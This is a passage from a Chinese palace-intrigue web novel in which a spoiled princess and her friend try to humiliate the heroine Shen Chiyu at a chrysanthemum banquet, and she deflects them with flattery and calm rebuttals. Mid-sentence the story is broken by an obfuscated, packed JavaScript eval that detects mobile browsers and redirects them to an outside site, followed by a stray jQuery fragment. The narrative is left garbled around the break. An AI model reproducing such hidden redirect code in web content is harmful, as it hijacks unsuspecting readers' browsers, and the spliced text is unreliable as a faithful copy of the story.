众人皆是一怔,随即抬起刚坐下的屁股,纷纷迎过去行礼。
只见九公主谢玉嘉着一身鹅黄色宫装,在一众宫女太监的簇拥下环佩叮当的款款而来。
她年纪与沈池鱼相仿,容貌娇艳,眉眼间自带属于皇室公主的骄纵之气。
谢玉嘉身边还跟着一位着水蓝色罗裙的少女,正是承平侯府的小姐,赵云峤的妹妹赵羲和。
卫凝作为宴会的主人,再不愿意,也得迎上前躬身行礼。
“不知公主殿下驾临,有失远迎,还望公主恕罪。”
谢玉嘉摆摆手,扫了一圈满院的名菊:“**郡主不必多礼,是本公主听闻你府上在办金秋宴,这才不请自来想凑个热闹,郡主不会生气吧?”
嘴上说着客气话,姿态则是居高临下。
“公主能来是我的荣幸。”
卫凝得体回应,暗自警惕。
这位九公主是先帝最小的女儿,也是谢璋的妹妹,作为宫里仅剩的一位公主,自然是受尽宠爱。
与裴明月关系亲密,性子被娇惯得厉害,向来眼高于顶。
作为旁观者,卫凝知晓裴太后对谢玉嘉有求必应,是因为被娇惯的废物掀不起风浪。
原本裴家也想这样对谢璋,奈何谢璋转头亲近谢无妄,被谢无妄护在羽翼下,教导他帝王之术。
卫凝抛开脑子跑远的思绪,又看向赵羲和,这俩人瞧着来者不善。
果然,谢玉嘉在寒暄几句后,眼风状似无意地扫向卫凝身后不远处的沈池鱼。
“想来,这位便是相府那位真千金吧?果然是好相貌,怪不得能引得……”
她话语微妙地一顿,瞟了眼身边趾高气扬的赵羲和,才继续道:“能引得诸多才俊侧目呢。”
语气咄咄逼人。
听出公主是故意刁难,众人的目光瞬间聚焦在沈池鱼身上。
她们屏息凝神,想看看这位准摄政王妃会如何应对。
卫凝脸色一沉,正要开口维护,沈池鱼已经盈盈上前,姿态优雅地行礼,动作标准地挑不出一丝错处。
她抬起头,面上无半分惊慌或恼怒,而是一片从容。
“公主谬赞了,我不过是蒲柳之姿,实在当不起好相貌的评价。”
她语气真挚,“倒是常听家母提起,说公主您才是真正的仙姿玉貌容色倾城。”
“我原以为是家母夸大溢美之词,今日有幸得见,才知竟是所言非虚。”
一番话如同春风拂过湖面,精准拍马屁拍到了谢玉嘉的心坎里。
她难掩欣喜的睁大那双漂亮的杏眼:“真的吗?你真的觉得我长得比你好看?”
话语里是不加掩饰的雀跃。
沈池鱼目光真诚:“当然,公主明珠生晕,风华绝代,是我见过长得最美的姑娘。”
一顿猛夸,言辞恳切,姿态放得也低,更让人挑不出错。
卫凝听得嘴角直抽,强忍着才没露出异样,憋得牙根发酸。
然而,谢玉嘉很受用。
她羞涩一笑,想找茬的气势一下子软了很多。
说到底,谢玉嘉也不过是个被娇养在深宫的少女,喜爱攀比,谁不喜欢被夸长得美啊。
再者,她和沈池鱼本来也没什么仇怨。
今日前来,一方面是出于好奇,想亲眼看看被皇叔看上、又把江令容赶出相府的姑娘长什么样;
一方面是替自己的好姐妹撑腰,来出口气。
在谢玉嘉简单的认知里,赵羲和是她从小一起长大的玩伴,现在被外人欺负了,她自然要替她出头。
可真见了沈池鱼,对方不仅没有想象中的嚣张跋扈,反而言辞恭谨,尤其还如此有眼光地夸赞她……
她觉得,羲和可能有什么误会,沈池鱼不像会欺负人。
这个想法刚冒出头,站在她身侧的赵羲和立刻察觉到她的动摇。
心中暗叫不好,赵羲和急忙轻轻扯扯谢玉嘉宽大的袖摆。
“公主,您万莫被她的花言巧语哄骗过去!她这人最是虚伪,当面一套背后一套,惯会做戏。”
“我就是这样在她手上栽的跟头。”
闻言,谢玉嘉立马清醒,是啊,羲和是不会
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16556404|176261||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
骗她的,自己怎么能因为对方几句奉承就心软动摇?
她再次绷紧下颌,刚刚缓和的神色一扫而空,重新端起骄横姿态。
从鼻腔里发出清晰和傲慢的一声:“哼!”
“少在这里油嘴滑舌,本公主才不吃你这套!”
“别以为说几句好听的,就能把你欺负羲和的事混过去,你不知道她是本公主最好的朋友吗?”
那副色厉内荏的模样,配上尚未完全褪去稚气的脸庞,实在没什么压迫感,反倒像只虚张声势的炸毛小猫儿。
沈池鱼觉得有些好笑,仍旧保持一片温和,在露出恰好的困惑。
“公主明鉴,我与羲和郡主并无过多往来,何来欺负一说?”
“这其中,是不是有什么误会?”
谢玉嘉冷笑:“误会?羲和亲口告诉的本公主,你还想抵赖?”
“你我初次见面,你冤枉我推你入湖,还有后面几次见面,你对我出言不逊可是事实?”
有人撑腰,赵羲和也仰着下巴,把狗仗人势呈现的淋漓尽致。
“不是,”沈池鱼否决,“初次见面那天,确实是你推的我,你敢对天发誓你没有推我吗?”
“我……”
“陛下和王爷亲自罚你禁足,难道你是觉得圣明如陛下,也会受我蒙骗?”
“这……”
“我们为数不多的几次见面都是在宴会上,众目睽睽下,我为何要对你出言不逊?”
“因为……”
这次沈池鱼不再打断赵羲和,可赵羲和因为不出来了,总不能说因为是自己先挑衅说话难听的吧。
眼角余光看到在人群中看热闹的江令容,她瞬间找了个理由。
“因为你不知羞耻,明知我兄长有心仪之人,还要勾引他,我气不过说了你几句,你就对我恶语相向。”
她为自己的机智反应沾沾自喜,完全没发觉自己在被牵着鼻子走。
听着赵羲和荒谬的指控,周围响起压低的窃窃私语。
沈池鱼莞尔:“郡主,你说我勾引令兄,证据呢?”